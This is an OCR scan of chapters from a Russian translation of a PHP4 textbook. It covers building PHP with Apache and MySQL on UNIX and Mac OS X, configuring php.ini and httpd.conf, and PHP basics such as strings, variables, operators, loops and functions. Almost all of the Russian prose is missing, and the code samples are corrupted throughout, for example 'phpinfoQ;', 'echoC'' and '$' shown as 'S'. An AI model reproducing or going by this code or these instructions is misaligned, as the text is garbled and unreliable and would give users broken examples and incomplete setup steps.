- MySQL Apache, , . configure, , . , . c o n f i g . s h
:
./configure \
--with-apxs=/usr/local/apache/bin/apxs \
--with-mysql=/usr/local/mysql
, , \.
.
, --with-apxs --with-apache.

(DSO), . ,
, Apache. --withapache, Apache, . Apache, ,
--with-apxs - .
:
chmod 755 config.sh
:
./config.sh

.
, . , -

UNIX-

67

, config. sh
.
, conf i g u r e : (, -with-mysql) , .
:
| License:]
| This software is subject to the PHP License, available in this]
| distribution in the file LICENSE> By continuing this installation]
| process, you are bound by the terms of this license agreement.]
| If you do not agree with the terms of this license, you must abort]
| the installation process at this point.]
+
+


:
*** WARNING ***
Your/usr/local/apache/bin/apxs script is most likely broken.
*** WARNING***
You will be compiling the CGI version of PHP without any redirection checking...
*** WARNING ***
You chose to compile PHP with the builtin MySQL support.

, make make install,


.
PHP FAQ. , Apache apxs ,
.
, CGI- , , ( )
--with-apxs c o n f i g . sh apxs.
,
MySQL MySQL. ,
, MySQL, . , Apache MySQL
, mod_auth_mysql, Apache . --with-mysql
config. sh - MySQL.

68

2.


configure, , config. log , . c o n f i g . s h
. :
configure --help | less

. . ,
.
, --with-gd
--with-jpeg-dir, --with-png-dir with-tiff-dir, GD
.
conf ig. sh, rm conf ig. cache make clean:
rm config.cache
make clean
./config.sh
, c o n f i g u r e
, .
, make clean, ,
configure , ,
. , , , , , , - make clean. , ,
configure.
make distclean
, - , conf igu re, make
make install.


conf ig. sh :
make
, :
make install
, configure , a make - , conf i g . s h . make , , -

UNIX-

69

. make . , ,
. make clean (. ),
.


- - , , http://php.net/support.php. PHP - General mailing list archive . FAQ http://php.net/FAQ.php.


p h p . ini-dist. php. ini, ,
/usr/local/lib/php. ini. phpinf o . php , p h p . ini.
php. ini, ,
p h p . ini
php. ini-dist :
/usr/local/src/php-4..xx/php.ini-dist \
/usr/local/lib/php.ini
php. ini , . , http://php.net/.
error_reporting
, E_ALL. Error handling and logging ,
Windows.

Apache
make install Iibphp4.so
/usr/local/apache/libexec. Apache
, httpd. conf:
pico /usr/local/apache/conf/httpd.conf

Dynamic Shared Object (DSO) Support. ,


LoadModule.
LoadModule ,
:
LoadModule php4_module Iibexec/libphp4.so

2.

70

, . LoadModule, .
libexec , /usr/local/apache/libexec, . , .
Iibphp4.so,
.
AddType, , :
And for PHP 4.x use:
#
AddType application/x-httpd-php .php
AddType application/x--:httpd-php-source .phps

: :

AddType,
"#".
, AddType. - Apache, . php MIME- application/x-httpd-php. Iibphp4,so, LoadModule,
Apache, MIME application/x-httpd-php. MIME- application/x-httpd-phpsource,
.phps.
AddType . phps .
, . phps
. php. , ,
,
. , , http://php.net/.
PHP- . , ,
.

, ,
AddType. , . php3
-, .
. htm .html .
HTML , - 5%, HTML -.
, ,
. php URL. , htm . html, .
AddType :
AddType application/x-httpd-php ,php .htm .html . php3

UNIX-

71

, , ,
, . ,
, . . URL , . . .
,
. phtml. . phtml
AddType.
, httpd. conf
Apache. DocumentRoot
phpinfo. php, :

<?php
phpinfoQ;
?>

....

\ "

v . ' -.. -' ...."

', :

' - ' ,

HTML : p h p i n f o ( )
. http://localhost/phpinfo.php, - (. 2.4):

l.inux javelin ?. .14-5 0 1 Tw ; 21 0/.J3 ;. ST 1686 unknown


'--with-apxwiwi... .;.,.<,.,,, : .'-
'

'

Virtual Directory
Support

ZEHD_Ul-BUU

TtireiaO Safety
Dip mijjip, I use rim 7c
\ onr) , mime v i .0.4, Copytiah! (n)

Puc. 2.4.


. ,
, ,
.

72

2.

, , Apache
. - , , MySQL, ,
c s n f i g . s h , rm config.cache, make clean, . / c o n f i g . s h
make make install.
, , /usr/loca/apache/logs/
error_log. Apache , :
tail /usr/local/apache/logs/error_log

Apache -, error_log - .
Apache. Apache httpd. conf , , . Apache, ps
auxwww | grep httpd, ,
. phpinf o().
404 Document not found , , URL phpinf . php
DocumentRoot. DocumentRoot httpd. conf.
500 Internal Server Error httpd. conf.
Apache error_log.
, View Source,
. <?php phpinf o ( ) ; ? > , , Apache httpd. conf ,
MIME- applications/x-httpd-php
MIME- . php. ,
( HTML). httpd. conf, .


( CGI). , CGI,
. / .
CGI . ,
, DocumentRoot cgi-bin
. , CGI .
CGI
-, ,

UNIX-

73

(http://www.php.net/manual/en/security.php). , PHP CGI .


.
, c o n f i g . s h B
config.cgi.sh:
cd /usr/local/src/php-4.x.xx.xx
config.sh config.cgi.sh
c o n f i g . cgi. sh, ,
--with-apxs=.
DocumentRoot. , , , :
--enable-discard-path \
--enable-force-cgi-redirect \
, , , \.
php - cgi-bin.
, :
./config.cgi.sh
make
p h p .
/usr/bin/ /usr/sbin/,
/usr/local/bin/, , .
, whereis
perl , perl,
php.
, p e r l , ,
, /usr/bin/.
, , :
php /usr/local/apache/htdocs/phpinfo.php
phpinfo. php
-. .
, , , . 20.

2.

74

, ,
Perl. : ( cd ) hello ( ) :
!/usr/bin/php -q
<?php
: printC'Hello World\n");

'

"

'

, :
chmod 755 hello
./hello
(chmod 755 hello), , cd Is UNIX, , # ! / u s r / b i n /
php -q, , .
-q ( quiet)1 , , . -q , . o r i n t ( ) , , . \
;
, Hello World.

Mac OS X
Mac OS X - Macintosh,
FreeBSD,
. Mac OS X
UNIX- , , UNIX.
- , , UNIX,
.
Apache/MySQL/PHP Mac OS , Mac OS X, .

4.3.0
(CLI). , CGI-,
-q ( ),
phpinf o() , HTML,
, ,
. - . . .

75

Mac OS X

, Apache/MySQL/
PHP Macintosh, http://forum.dynapolis.com/.


gunzip tar Mac OS X , Stuffft!,
.
,
. Mac OS X , /Users/
root/Desktop/. , .

MySQL
root.
UNIX http://mysql.com/. Stufflt!
, .

MySQL
UNIX, MySQL. ,
Users,
(. 2.5, 2.6):

Show

MB

Displays Sound

i Name
Mister Bramley

Network Startup Disk

Kind
Admin

'A s Click the lock to prevent further changes.

. 2.5. Users

76

2.
New UserMySQL user

teswurd

Name:
: Mary Jones
Short Name:
This is an iftmate rum* for your account, used by
tow* network services. Ertttt towrcas characters
or fewer with no spaces. Example: mjones

Login Picture:
Drag a ptttur* from the finder, select on* belt**, or dick
Choose to tocatt a pteturt We,

Puc. 2.6.

MySQL
MySQL , :
cd /Users/root/Desktop/mysql-3..

--pref ix=/usr/local/mysql --1calstatedir=/usr/local/msyql/data:


./configure --prefix=/usr/local/mysql \
--localstatedir=/usr/local/mysql/data
\ .

MySQL
c o n f i g u r e ,
MySQL make:
make
make install

,
. MySQL (/usr/local/mysql)
, MySQL (/usr/local/mysql/data), chown. , -

Mac OS X

77

root.
(mysql):
chown -R root /user/local/mysql
chown -R mysql /usr/local/mysql/data
chgrp -R mysql /usr/local/mysq/data

MySQL , MySQL, mysql_install_db, ./scripts/ MySQL:
./scripts/mysql_install_db
, MySQL.
safe_mysqld, /bin/ MySQL.
( &), --user
:
safejnysqld --user=mysql &

MySQL , , MySQL . MySQL . mysql. server (


./support-files) , .

MySQL
, MySQL , , :
mysqladmin version
mysqlshow
, ,
MySQL. mysql, MySQL, ,
, , ,
test, .
test , :
mysqladmin CREATE test

, test , :
mysql -u root test

mysql, SQL MySQL. MySQL root test.

78

2.

mysql>. SQL, :
CREATE TABLE foo (foo_id.INT(11) AUTO_INCREMENT, comment TEXT);
DESCRIBE foo; /
INSERT INTO foo (comment) VALUES ('Hello World');
SELECT * FROM foo;
; : DELETE FROM f00;
DROP TABLE foo; :
\q MySQL.

MySQL
MySQL MySQL root, . root MySQL root , . MySQL root
MySQL. , , , MySQL root, , .
MySQL root.

/ root MySQL . MySQL


.

Apache
, - Apache
, OS X.
, (, httpd ).

Apache
Apache, (/Users/root/Desktop/apache_1. . /), Apache conf igu re. figure , , Apache, Apache , , Apache .
OS X Apple- -
Apache ,
. Apache
c o n f i g u r e . ,
, (-

Mac OS X

79

, ), - Apple:
./configure --exec-prefix=/usr \
--localstatedir=/var \
--mandir=/usr/share/man \
--libexecdir=/System/Library/Apache/Modules \
--iconsdir=/System/Library/Apache/Icons \
--includedir=/System/Library/Frameworks/Apache.framework/Versions/1.3/Headers \
--enable-shared=max \
--enable-module=most \
--target=apache

, --includedir=.. ./1-3/Headers \ .

Apache
, Apache:
make
Apache:
make install
Apache ,
httpd. conf
,
Apache.
httpd. conf ( ) , php, Apache
, :
apachectl stop
apachectl start
,
Apache bin bin/apachectl.
- Mac OS X GUI Apache
System Preferences | Sharing. Apache
-, OSX Apache. Apache , apachectl.

apachectl start ,
Apache , httpd
ps grep httpd (process viewer) Mac OS X:
ps -A |'grep httpd
620 nobody

00:00:00 httpd

80

2.

621 nobody
622 nobody

00:00:00 httpd
00:00:00 httpd

httpd, , - Apache
.
http://localhost/
Apache ,
- DocumentRoot httpd. conf.

PHP
,
Apache/PHP OS X. ,
. OS X .
, , .
, MySQL Apache. - MySQL, , .
Apache , OS X , :
./configure \
--with-mysql=/Users/root/Desktop/mysql-3.xx.xx \
with-apache=/Users/root/Desktop/apache_1.x.xx \
--prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--mandir=/usr/share/man
--with-XXX ,
.


.
Apache MySQL, PHP make:
make

make install
. -
UNIX/DOS/Mac c o n f i g u r e intemalfunctions, , -

Mac OS X

81

re ./main . c o n f i g u r e
include,
, . , i n t e r n a l _ f u n c t i o n s . .
#inclucie,"ext/xml/php_xml.fi"nsinclude "ext/standard/php_standard.h"nsinclu.~

ffinclude "ext/xml/php_xml.h" .; :
include "ext/standard/php_standard.h"
tfinclu...

, include , , . , include, . . .


php.ini-dist
, ; /us r/local/lib/php. ini:
php.ini-dist /usr/local/lib/php.ini
p h p . i n i ,
UNIX- .

Apache
, Apache - . Apache conf igu re, Apache:
cd /Users/root/0esktop/apache_1. .
./configure \
--exec-prefix=/usr \
--localstatedir=/var \
--mandir=/usr/share/man \
--libexecdir=/System/Library/Apache/Modules \
--iconsdir=/System/Library/Apache/Icons \
--includedir=/System/l_ibrary/Frameworks/Apache.framework/Versions/1.3/Headers \
--enable-shared=max \
--enable-module=most \
--target=apache \
--activate-module=src/modules/php4/libphp4.a

82

2.

, --includedir=... /1.3/Headers \
.
conf i g u r e , , Iibmodphp4.a . ,
Apache . /src/modules/php4 :
ranlib Iibmodphp4.a

c o n f i g u r e "--activate-module=.. . I i b p h p 4 . a "
httpd.conf
Apache.
Apache , httpd,
conf :
apachectl stop
apachectl start

phpinfo. php DocumentRoot. http://localhost/phpinfo.php .


, httpd. conf, --activate-module=src/modules/php4/libphp4.a.
/ AddType,
UNIX. . , UNIX.


UNIX,
configure make, --with-apache=..., php / u s r / b i n / .


Wrox.com
,
, , .
Wrox: http://p2p.wrox.com/.

PHP.net
:
http://php.net/FAQ.php. FAQ

Mac OS X

83

http://php.net/funcref.
http://www.php.net/langref. ,
,

http://php.net/
support.php. .
, ,
, ,
. PHP-General
, .
,
:

FAQ




, e-mail . PHP-Install, PHP-General. , ,
. PHP-QA Question and Answer (-), Quality Assurance ( ) - .

.
, -, , , , -.
, - , . , http://
php.net/links.php.
, , , ,
, ,
. open source, .

, , . .

84

2.

Zend.com
http://zend.com/.
.

php4win.de
http://www.php4win.de/. Windows.
http://forum.dynapolis.com/. Apache/MySQL/
, Macintosh.

Wrox
Beginning PHP4 (ISBN 1-861003-73-0)
Beginning Linux Programming (ISBN 1861002-97-1)
Professional Linux Programming (ISBN 1861003-01-3)

Apache
http://httpd.apache.org/docs/. Apache.
http://httpd.apache.org/docs/misc/FAQ.html. FAQ ,
Apache.

MySQL
http://www.mysql.com/documentation/index.html.
MySQL.
http://www.mysql.com/documentation/lists.html.
, MySQL.

MySQL,
Apache . - Apache
MySQL. p h p
-
MySQL MySQL.

3
PHP
, , ,
.
, , Perl UNIX, . ,

, ,
, , .
PHP- Beginning
4 Wrox Press (ISBN 1-861003-73-0).
, ,
, . .
.
: , . , .
:






86

3.


, ( Macintosh , ,
'UNIX-style linebreaks' UNIX). ,
. php, - , .
Apache httpd . conf , . prophp4:
AddType application/x-httpct-php .prophp4

,
.


: -
. -, ,
-, HTML. - , . , . php, - .
, .
, , , .
HTML,
. php, , .
,
.
.
SGML:

XML:
<?php

87

, HTML:
<script language="php">

</script>
ASP , ASP, :

XML, .
,
, :
<?= ... ?>
<%= ... %>

..."

.;,

. :
two plus two is <?= 2 + 2 ?>

:
two plus two is 4

, echo, :
two plus two is <?php echo(2 + 2);'?>
echo
. ,
, - , , , echo. echo , HTML - , -.
, , .

.
: .

88

3. PHP

,
,
. :
two plus two is <?php echo(2 + 2); ?>
two plus two is <?php echo (2 + 2) ?>
, ,
. , , ,
, , , . ,
. ,
:
<?php
echo(2 + 2);
echo(3 * 2);
echo("hello">;
<?php
echo(2
2); echo(3

*2

); echo(
"hello")

,
. , { ... } :
echo("hello");
echo(2 + 2);
, ( , Java,
). , if:
if (3 > 2) {
echo( "hello");
echo(2 + 2);

89

.
. , , - , .
, (
) ,
, :
<?php
IMS > 2) {

?>

echo( "hello");

,
.
<?php
echo(2 + 2);

.
, , :
<?php
echo("This is Motortown"); //

:
<?
echo("This is Motortown"); f
, -
. ,
. :
<?php
//
(2
+
2
r:

;.:W'. -. );:

//
#

90

3.

C++/Java
/*... */:
$Calculation = (<$/$) * 7.5) / $z ;'"
/* , ,
, .
(7.5)
, */
,
. , , , .
, HTML, :
<?php
echoC'This is Motortown"); //
//
<!-1 HTML HTML, -->
HTML .

.
: (), ( ) (true false).


: ,
(here document).

.
, . , ,
. (. 31):
3.1.

(LF)

(CR)

91

$

3 ASCII,

- ASCII, 2

, :
<?php
echoC'This text goes\nacross several\nlines\n\t\"and this quotation is
indentedY'"); : :
;
'
' '
'. .
:
This text goes
across several
lines
"and this quotation is indented"
, - :
This text goes across several lines "and this quotation is indented"
(, ). , <br> ( <br /> XHTML). n!2br( ), HTML LF .
, escape- \ ' \\ -
. . , :
<?
echo( 'This text goes\nacross several\nlines\n\t\"and this quotation is
indentedY");
:
This text goes\nacross several\nlines\n\t\"and this quotation is indentedY'
, , , .

92

3. PHP



,
echo. :
$hereText=<end_delimiter
,
, ,

:,"
endjJelimiter; .
echo($hereText);
<, , . - / , .
. ,
.
, , escape-.


, .
, :
<?php
echo(255);
echo(OxFF);
echo(0377);

. .
echo ,
, 255 .
.
. :
<?php
echo(O.OOI);

93

echo(1e-3);
echo(-3.8716E32);

- .


t rue false, , .
, , true, TRUE True .

, , - . , , .
($). . - , . :
$
$2
$my_name
$height_in_roetres_above_sea_level

, ( ) ,
:
$my_name
$MY_NAME
$My_Name
, . . ,
. - , , .

.

94

3. PHP

, ,
:
$variable_name = expression;

, , .
, :
<?php
$ = "Hello";
$b = 123;
$ = $;

, , , :
<?php
$ = "Hello";
echo($a);
.?>

'

' ...',

, ,
, .
, :
<?php

$ = "Hello";
echo("$a World!'1);

, ,
, , :
Hello World!

, . :
<?php

$ = "Hello";

$b = "$a World!";
$ = "Goodbye";
echo($b);
'

'

- Hello World!,
,
$. $ $.

95

PHP . :
${expression}
, . , , :
${"my_name"}
, , $my_name. $ "name",
${"_$"}
$my_name - , , "my_name", . , $ "my_name",

${$}
$my_name.
.
, , $my_name
:

, ,
,
.

, ,
. , ( , , , ).
def ine():
defineC'INDEPENDENCEDAY", "4th July");
:
echo(INDEPENDENCEDAY);

96

3. PHP

,
, ,
.
, ^defines
: , ,
. def ined():
if (definedC'INDEPENDENCEDAY")) {
echo("INDEPENDENCEDAY is defined");
} else {
ecHo("INDEPENDENCEDAY is not defined");


, , , , .
:

string
integer
double
array
boolean
object
resource
unknown

double , . , .
, ,
gettype():

<?php
$Variable = "This is some text";
echo(gettype($Variable));
?>

. ,

-: . . '

. :';'/: .";:>'''

string.

settype(). ,
:

97

$Change = "2";
settype($Change, integer);
echo(gettype($Change));
echo($Cnange);


PHP , ,
.
, , :
(string)
(integer)
(double)
(boolean)
:

(int)

(bool)

:
<?php
$ = "123.456";
echo((int)$a);
?>

123,
123.456 .
. :
SChange = "2 Coffee Candies";
settype(SChange, integer);
echo(gettype($Change));
echo($Change);
integer 2.
, , ,
.
settype():
$Variable1 = 3;
$Variable2 = "2 Coffee Candies";
SSumTotal = $Variable1 + $Variable2;
4 . 989

98

3. PHP

5,
, . $Variable2 , .
, -
.
, , , .


, :
echo. : ,

.
. ,
, . : , .
- , . , , . . ,
, : .
, :
echo(gettype("Hello"));
(gettype("Hello")) , ( " s t r i n g " ) , echo. . , , , . , :
$ = gettype("Hello");
${gettype("Hello")} = "World";
echo(gettype(gettype("Hello")));
" s t r i n g " $, -
"World" $string,
gettype() , gettype().
- , . :
echo(2 + 2);

99

2 + 2 , 4. . ,
, , , , :
echo(add(2, 2));

(+) - : .
: (>), (.) (=).
, . (++), NOT (!) ,
(int).
, . , - .
, -
. ,
. :
$.? $ : $

$, $ true, $,
$ false:
echoC'INDEPENDENCEDAY is "'". (defined("INDEPENDENCEDAY") ? "defined" :
"not defined"));

, definedO, ,
.
,
. ,
. ,
.
.
, , .


, . .
, , , =. , , - .

100

3. PHP

. . , ,
: .
. , :
echo($a = "Hello");
$ = $b = $ = "Hello";

"Hello",
$. "Hello" $, $, - $.
==.
true, , false . ! =
:
$ = 2;
echo($a == 2);

:
, . :
<?php
$ = 1 . 1 ;
$ = 0.4;
$ = $ - $;
echo(($c == 0.7) ? "true" : "false");

1.1 0 . 4 , . 1 . 1 0.4 0.7. ,


, :
, , ,
.
"true" "false", .
, true. , . , 32-
Windows false. , , , .
, , .
.
.

101


(.),
(dot operator):

$ = "Hello";
$b = "World";
$c = $a . $b;
echo($c);

, . =:
$ .= $b

, , . :
$ = "Hello";
$b = "World";
$ - "<b>" . $ , " " . $b . "</b>";
echo($c);


PHP . , ;
(http://www.php.net/
docs.php). , . 7.

substrQ
string substr(string string, int start [, int length])
substr() . - ,
, ( ), -
, . ,
, . substr():
$String1 = substr("The cat sat on the mat", 4,3); // 'cat'
$String2 = substrC'The frog sat on the log", 0,1); // TV
$String3 = substrC'The aardvark sat in the dark", 17);, // 'in the dark'

102

3. PHP

strposQ
int strpos(string haystack, string needle [, int offset])
strpos() , substr().
, ,
( ).
, ,
, ,
. strpos():
$String1 = strposC'The cat sat on the mat", "cat"); // Returns '4'
$String2 = strposC'rhubarbrhubarbrhubarb", "rhubarb", 6); // Returns '7'

htmspecialcharsQ
string htmlspecialchars(string string [, int quote_style [, string charset]])
htmlspecialcharsO , HTML, HTML. HTML
:
& &;
" &quot;
< &lt;
> &gt;
: ENT_QUOTES
ENT_NOQUOTES. , , - . , , , ISO-8859-1.
htmlspecialcharsO:
echo(htmlspecialchars("<p class=\"class1\">The cat sat on the mat</p>",
ent_quotes));

:
&lt;P class='class"!'&gt;The cat sat on the mat&lt;/P&gt;
- . , HTML.

trim()
t r i m ( ) : , ,
:

$String1 = trim("

a lot of white space

"}'; // 'a lot of white space'

, t r i m ( )
:
$ = " a lot of white space
trim($a);

";

, :
$ = trim($a);

chr() ord()
ch r ( ) ASCII- . o r d ( ) :
echo(chr(64));
echo(ord('(s>'));

// displays '@'
//displays '64'

strlen()
strlenO , ,
, :
$String1 = strlen("one"); // '3'
$String2 = strlen("the cat sat on the mat"); // '22'

printfQ sprintfQ
int printf(string format [, mixed args...])
string sprintf(string format [, mixed args...])
p r i n t f ( ) s p r i n t f ( ) , ,
.
, ,
mm/dd/yyyy . s p r i n t f () , p r i n t f () , .


format printf ()/sprintf () , ,
, . . , , (directives).
, .

104

3. PHP

,
,
. , .
(%),
:
(Padding Specifier)
, . , .
.
(Alignment Specifier)
, . . , (-), .
(Minimum Width Specifier)
, .
, , .
(Precision Specifier)

.
, . , , .
(Type Specifier)
,
, - . :
b - ,
- , ,
ASCII
d - ,
f - , ( )
- ,
s ( string)

- , (
)
X - , (
)

105

, , (%%).
s p r i n t f ( ) / p r i n t f ( ) .
, ; :

$day = 1;

$month = 2;

$year = 2001;
printf("%02d/%02d/%04d", $month, $day, $year);

:
01/02/2001
- ,
. , .
, . , , :
%02d

.
, . 2. , . - d, printf ()
.
:

$Value2 = 23;
$Value2 = sprintf("?%.2f", $Value2);
echo($Value2);
:
723.00

%.2f
, . ,
.

106

3. PHP


, , .
(. 3.2):
3.2.

( ), 8
3

, , ,
- ,
, .
1,5 1,5 3,0, 3.
. $ = $ + $, $ += $.
.
: (++) (--). , . . :

, . , - .
1:
$ = 1;
echo($a++);

,
, . ,
$ = 1;
echo(++$a);

107

2. , . .


- . , .
AND (&), OR ( | ), XOR ("), NOT ("), () (). .
, :
<?php
define(CREATE_RECORDS, 1);
define(DELETE_RECORDS, 2);
define(ALTER_RECORDS, 4);
define( ADMINISTRATOR, 8);
$user_permissions = CREATE_RECOROS | ALTER_RECORDS;
echo(($user_permissions
<>" : "");
echo(($user_permissions
<>" : "");
echo(($user_permissions
<>" : "");
echo(($user_permissions

& CREATE_RECORDS) ? "


& DELETE_RECORDS) ? "
& ALTER_RECORDS) ? "
& ADMINISTRATOR) ? " - <>" :

, : 1, 2, 4 8. 0001, 0010, 0100 1000.


OR
. $user_permissions
1 OR 4, . . 5: 0101.
.
,
AND. - , AND . , AND .
, , , .
,
AND, OR XOR. ,
:
<?php
define(CREATE_RECORDS,

1);

108

3. PHP

define(DELETE_RECORDS, 2);
define(ALTER_RECORDS, 4);
define(AOMINISTRATOR, 8);
$user_permissions = CREATE_RECORDS | ALTER_RECORDS;
$user_perfflissions |= OELETE_RECORDS;
echo(($user_permissions
<>" : "");
echo(($user_permissions
: "");
echo(($user_permissions
: -);
echo(($user_permissions

& CREATE_RECORDS) ? "


& DELETE_RECORDS) ? " <>"
& ALTER_RECORDS) ? " <>"
& ADMINISTRATOR) ? " - 1: "");


. :
define(TWO, 2);
define(FOUR, 4);
echo(TWO FOUR); // 32
echo(FOUR TWO); // 1


: (<), (<=), (>) (>=). t r u e false.


,
. , :
$sum = 5 + 3 * 6 ;

48. 23. , , . , ,
(. 3.3):

109

3.3.

++,--,",

*./,%

, . , 48 :
$Sum = (5+3)*6;


.
: (and &&),
(or 1 1 ) , (!) ().
.
:

if (file_exists("travel.xml") is_readable("travel.xml")) {
fopen("travel,xml", r);
echo("travel.xml opened");
} else {
echp("travel.xml not opened");
t ravel . xml (&&) .


(. 3.4):
3.4.

or

and

, , . - , ,

110

3. PHP

PHP .
(element).
, . , . ,
. , ,
. .
4.


.
-, , - . , , .
,
. , ,
.
f
, . php. ini gister_globals, ,
, .
4.0.3 track_vars, . , .

.
B p h p . i n i , .

GET- $_1
4 ( register_globals )
. ,
$HTTP_ENV_VARS.
. ,
set Windows env UNIX.
4.1.0
$_GET, $_ENV, $_POST, $_COOKIE $_SERVER, $_* .
. register_globals
Of f, . - . . .

111

GET- ( GET).
( $QUERY_STRING). - , ? URL, .
&, =. , register_globals , , (
).
,
. -
$HTTP_GET_VARS. HTML:

<form action="http://localhost/ProPHP4/Chapter03/test.php" method="get">


fruit: <input typetext" name="fruit" /><br>
vegetable: <input type="text" name="vegetable" /><br>
<input type="submit" />
</form>
: http://localhost/ProPHP4/
Chapter03/test.php?fruit=banana&vegetable=broccoli. -
, ?.
, :

$fruit = "banana";
$vegetable = "broccoli";
URL,
. , , ASCII- .

POST-
POST- , POST. POST , POST-, GET-.
POST HTML,
-, , . ,
.
method post, ,
POST.
, ,
. ,
$HTTP_POST_VARS.

3. PHP

112

Cookies
PHP , Cookie:.
cookies 8, , -, - Set-cookie: HTTP.
cookies , Cookie:.
PHP -
$HTTP_COOKIE_VARS.

CGI-
, CGI, , .
(. 3.5):
3.5. CGI

$DOCUMENT_ROOT
$REMOTE_ADDR

,
IP- ,

, , ,
$SCRIPT_FILENAME
$SERVER_ADDR
IP- , -
$SERVER_NAME
, -
$SERVER_PORT
,
$SERVER_PROTOCOL HTTP,
$REQUEST_METHOD HTTP, (GET POST)
$QUERY_STRING
URL , ?,

$REQUEST_URI
URL ,
-
$PHP_SELF
, ,

$REMOTE_PORT

register_globals , $HTTP_SERVER_VARS.

HTTP
,
, $_ HTTP, -

113

.
HTTP (. 3.6):
3.6. HTTP
HTTP

Host:

$HTTP_HOST

,
(
$SERVER_NAME, -
)

User-agent:

$HTTP_USER_AGENT

, - ,

Accept:

$HTTP_ACCEPT

MIME- ,

Accept-language:

$HTTP_ACCEPT LANGUAGE

( -,
). $HTTP_SERVEfl_VARS , register_globals.

. ,
, - . ,
. ,
.
.

4
PHP

. , .
.
, , ,
:


,

, (flow control structures),
, , . , : .


, if switch,
.

if
if. :
if (condition) statement;

115

condition
(true false). statement , condition
true. , . :
"if (SblsMorning) { '
SsGreeting = "Good morning";
echo(SsGreeting);

"

'

, , false. ( )
if NOT (! ):
if (SblsMorning) {
SsGreeting - "Good morning";
I: }
if (! SblsMorning) {
SsGreeting '- "Hello"; *
} '

echo( SsGreeting);

, , : else. :
if (SblsMorning) {''';' SsGreeting = "Good morning";
} else {
SsGreeting = "Hello";
}
echo(SsGreeting);
elseif
. if elseif; if else, else , ,
true:
N
if (SblsMorning) {
SsGreeting = "Good morning";
} elseif (SblsAfternoon) {
SsGreeting = "Good afternoon";
} elseif (SblsEvening) {
SsGreeting = "Good evening";
} else {
',
SsGreeting = "Hello"; :
>
echo(SsGreeting);

116

4.

, elseif else, ,
false. , $1 10, "Good
morning", , 10 17.
$1 14, "Good afternoon":
if (SiHour < 12) {
SsGreeting = "Good morning";
} elseif (SiHour < 17) {
$sGreetlng = "Good afternoon";
} else {
SsGreeting = "Good evening";
}
echo($sGreeting);
PHP if . , (XHTML, CSS JavaScript)
.
, SsSeason summer. w i n t e r , . -
endif , }, i f :
<?php
if (SsSeason == "summer");
?>
<table>
<caption>Summer Data</caption>
</table>
<?php
elseif ($sSeason == "winter"):
<table>
<caption>Winter Data</caption>
</table>
<?php
endif;
if-else ,
, . , :

117

if (SsSeason == "summer") {:
SfPrice = 35.95;
} else {
; $f Price = 30.95;
:
$f Price = (SsSeason == "summer") ? 35.95 : 30.95;
3.

switch
switch :
switch (expression) {
case valuel :
statements;
break;
case value2:
statements;
break;
default:
statements;
>
switch SsLangCode case. case, break.
case SsLangCode,
default:
switch ($sl_angCode) {
case "fr":
echoC'French");
break;

case "es":
echoC'Spanish");
break;
/..::-

case "en" :
;
echo( "English");
break;
case "de":
echo( "German");
break;

/VJ

:;

4.

118
case "ru":
echo( "Russian");
break;
,
.;

default:
echo( "Language not recognized in system.");

break switch
, ,
switch.
case, ,
case ,
break case case,
. break, case. - , . :
;

switch (SsLangCode) {
case "fr": // :
case "es":
echo( "Romance language");
break;
case "en"; //:

case "de":
:
echo("Germanic language");
break;
case "ru":

echo( "Slavic language");


break;

default:
echo( "Language not recognized in system.");

, ,
, . .
break. "Romance language" , f r es,
OR ( 1 1 ) if.
,
OR. , statement 1 statement2, , SsLangCode f , statement2 , es:

119

switch ($sLangCode) {
case "fr":
statementl; // :
case "es":
statement2;
break;

case . , ,
. JavaScript ( ) . case .

, . , ,
, .
: while, do . . . while, for foreach. , a foreach - .

while
w h i l e .
,
t rue:
while (condition) {
statements
. (, $i ) (control variables) :
echo ("<select name=\"num_players\">\n");
$i = 0;

while (-n-li <= SiMaxPlayers) {


ecno("<option value=\"$i\">$i</option>\n");
}
echo("</select>\n");
. ,
$bEOF,
, .

120

4.

break . break , :
echo("<select name=\"num_players\">\n");
$1 = 0;
while (++$i <= $iMaxPlayers) <
if (! is_legal_val($i)) {
break; // select
}
echo("<option value=\"$i\">$i</option>\n");
.}
echo("</select>\n");

. continue:
echo("<select name=\"num_players\">\n");
$i = 0;
while (++$i <= SiMaxPlayers) {
if (! is_legal_val($i)) {
continue; // .
// option
}
echo("<option value=\"$i\">$i</option>\n");
}
echo("</select>\n");

do... while
do . . . w h i l e while, , , . ,
.
SiMaxPlayers:
echo("<select name=\"num_players\">\n");
$i = 0;

do {
echo("<option value=\"$i\">$i</option>\n");
} while (++$i <= SiMaxPlayers);
echo("</select>\n");

for
f o r while.
, , : for , , :

121

for (expression!; expression2; expressions) {


statements

expression"! .
. expression2 . : expression2 t r u e , ,
false, , expressions
,
:
echo("<select name=\"num_players\">\n");
for ($1 = 0; $i <= SiMaxPlayers; ++$i) {
echo("<option value=\"$i\">$i</option>\n");
}
echo( "</select>\n " ) ;
, do . . . while.
<select> , $11yers. ( ) for: , ,
. f o r .
, ( expression2 true):
for ( ; ; ) .(
if (my_function() == "stop") break;

, m y _ f u n c t i o n ( )
"stop". ,
. :
while (my_function() != "stop");


if,
:
<?php
while (my_fimction() > 0):
?>
<trxtd><input type="text" /></tdx/tr>

122

4.

<?php
endwhile;

<?php
for ($i = 10; $i > $iMinScore; $i):

<li>Another XHTML list item</li>


<?php
endfor;

, , () ,
.
, . , date() gettype(),
, .


f u n c t i o n . , :
function kmToM($fKilometer)
{
//
return $fKilometer * 0.6214;
}
// :
echo(kmToM(5)); "'// 3.107
, .
,
. return ,
. . , , , . r e t u r n , b r e a k .
, , ,
. , 5 -

123

, a $fKilometer - .
; , .
,
- :
function half($fNumber) :
<
-'...' ^ ' i :
// .
'
IfNumber = $fNumber / 2;
return SfNumber;
}

' ''

.,

;
::

>: <:'

$fWage = 50.0;
echo(half($fWage)); // 25
echo($fWage); // 50
, SfWage h a l f ( ) . ,
, , . ,
(&):
function half (&$fNumber)
{
// .
$fNumber = $fNumber / 2;
return $fNumber;

"$"'

: '

' '"'"

V '

$fWage = 50.0;
echo(half($fWage)); // 25
echo($fWage); // 25

, , , .
, .
. , . , :
function raise(&$fWage, $fPercent = 4.0)
{
//
SfWage += $fWage .* $fPercent/100;
"} , .:/./

l,:4:-::,

SfWage = 50.0;
raise($fWage);

// 4%

124

4.
:
echo($fWage);
// 52
:
raise($fWage, 10); '// 10%
echo($fWage);
// 57.2

4
. func_num_args(), func_get_arg()
f unc_get_args() . , , . , func_get_arg(0)
, func_get_arg(1) , ..
func_get_args() ,
:
function argTestQ
{
//
// :
echo(func_num_args()); // 5
// :
